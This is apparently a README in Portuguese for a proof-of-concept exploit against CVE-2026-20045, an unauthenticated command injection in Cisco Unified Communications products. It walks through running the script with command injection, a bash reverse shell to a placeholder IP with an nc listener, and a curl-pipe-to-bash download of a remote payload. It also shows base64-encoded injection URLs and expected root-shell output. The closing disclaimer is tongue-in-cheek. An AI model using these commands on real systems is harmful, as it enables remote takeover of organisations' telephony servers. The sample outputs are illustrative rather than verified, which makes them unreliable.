
Prova de conceito de exploit para CVE-2026-20045, uma RCE crítica não autenticada em produtos Cisco Unified Communications, permitindo injeção de comandos e reverse shell com escalonamento para root.

Uma vulnerabilidade crítica de execução remota de código (RCE) que afeta vários produtos Cisco Unified Communications. Foi explorada ativamente no mundo real antes do lançamento dos patches.
Isso significa que um atacante poderia assumir totalmente o controle de sistemas afetados remotamente.
Aqui está um guia refinado com exemplos de uso para executar o script PoC, incluindo exatamente o que você veria no seu terminal se a exploração for bem-sucedida em um alvo Cisco Unified Communications vulnerável (interface web sem patch exposta). Adicionei alguns elementos estéticos com emojis, blocos de código coloridos (via markdown) e seções estruturadas para melhor legibilidade. 😎
Isso executa comandos simples para obter o ID do usuário, nome de usuário e detalhes do sistema.
Comando:
python3 CVE-2026-20045.py https://target-ucm:8443 "id && whoami && uname -a"
O Que Você Veria Se Funcionar (Saída Bem-Sucedida):
[*] Enviando injeção do Estágio 1 para: https://target-ucm:8443/cucm-uds/?query=JyA7IGlkICYmIHdob2FtaSAmJiB1bmFtZSAtYSAj
[*] Comando inicial: id && whoami && uname -a
[+] Estágio 1 provavelmente bem-sucedido! Status: 200
[*] Enviando escalonamento do Estágio 2 para: https://target-ucm:8443/cucm-uds/?escalate=c3VkbyAtaTsgaWQgJiYgd2hvYW1pICYmIHVuYW1lIC1h
[+] Estágio 2 (escalonamento root) provavelmente bem-sucedido! Status: 200
[+] Possível saída do comando:
------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
root
Linux ucm-server 5.15.0-89-generic #99-Ubuntu SMP Mon Oct 30 20:44:33 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
------------------------------------------------------------
🔑 Sinais-Chave: Indicadores verdes [+], status HTTP 200 e resultados de comando no bloco de saída. Se nenhuma saída aparecer, mas o status for 200, ainda funcionou silenciosamente!
Isso gera um shell interativo de volta para sua máquina. Primeiro, inicie um listener: nc -lvnp 4444.
Comando:
python3 CVE-2026-20045.py https://target-ucm:8443 "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
O Que Você Veria Se Funcionar (No Terminal do Script):
[*] Enviando injeção do Estágio 1 para: https://target-ucm:8443/cucm-uds/?query=JyA7IGJhc2ggLWkgPiYgL2Rldi90Y3AvWU9VUl9JUC80NDQ0IDAmPjEgIw==
[*] Comando inicial: bash -i >& /dev/tcp/YOUR_IP/4444 0>&1
[+] Estágio 1 provavelmente bem-sucedido! Status: 200
[*] Enviando escalonamento do Estágio 2 para: https://target-ucm:8443/cucm-uds/?escalate=c3VkbyAtaTsgYmFzaCAtaSA+JiAvZGV2L3RjcC9ZT1VSX0lQLzQ0NDQgMD4mMQ==
[+] Estágio 2 (escalonamento root) provavelmente bem-sucedido! Status: 200
[+] Comando executado silenciosamente (verifique os efeitos no alvo)
O Que Você Veria no Terminal do Listener (nc):
listening on [any] 4444 ...
connect to [YOUR_IP] from (UNKNOWN) [TARGET_IP] 54321
bash: cannot set terminal process group (1234): Inappropriate ioctl for device
bash: no job control in this shell
root@ucm-server:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ucm-server:~#
🚀 Sinais-Chave: O script mostra mensagens de sucesso; o listener recebe um prompt de shell root imediato. Digite comandos lá para interagir!
Isso baixa e executa um script do seu servidor.
Comando:
python3 CVE-2026-20045.py https://target-ucm:8443 "curl -s http://YOUR_SERVER/payload.sh | bash"
O Que Você Veria Se Funcionar (Saída Bem-Sucedida):
[*] Enviando injeção do Estágio 1 para: https://target-ucm:8443/cucm-uds/?query=JyA7IGN1cmwgLXMgaHR0cDovL1lPVVJfU0VSVkVSL3BheWxvYWQuc2ggfCBiYXNoICM=
[*] Comando inicial: curl -s http://YOUR_SERVER/payload.sh | bash
[+] Estágio 1 provavelmente bem-sucedido! Status: 200
[*] Enviando escalonamento do Estágio 2 para: https://target-ucm:8443/cucm-uds/?escalate=c3VkbyAtaTsgY3VybCAtcyBodHRwOi8vWU9VUl9TRVJWRVIvcGF5bG9hZC5zaCB8IGJhc2g=
[+] Estágio 2 (escalonamento root) provavelmente bem-sucedido! Status: 200
[+] Comando executado silenciosamente (verifique os efeitos no alvo)
📥 Sinais-Chave: Códigos de status 200; verifique no alvo (ex.: logs/arquivos) ou no seu servidor (logs de download). Sem saída direta se o payload for silencioso.
💡 Dicas Profissionais:
sudo se necessário para privilégios de rede.Validação inadequada de entrada fornecida pelo usuário em interfaces de gerenciamento HTTP, permitindo injeção de comandos que leva à execução remota de código.
Todo o código PoC é para uso ético e educacional apenas em sistemas autorizados. Exploração não autorizada é ilegal; nenhuma responsabilidade é assumida por uso indevido. 😈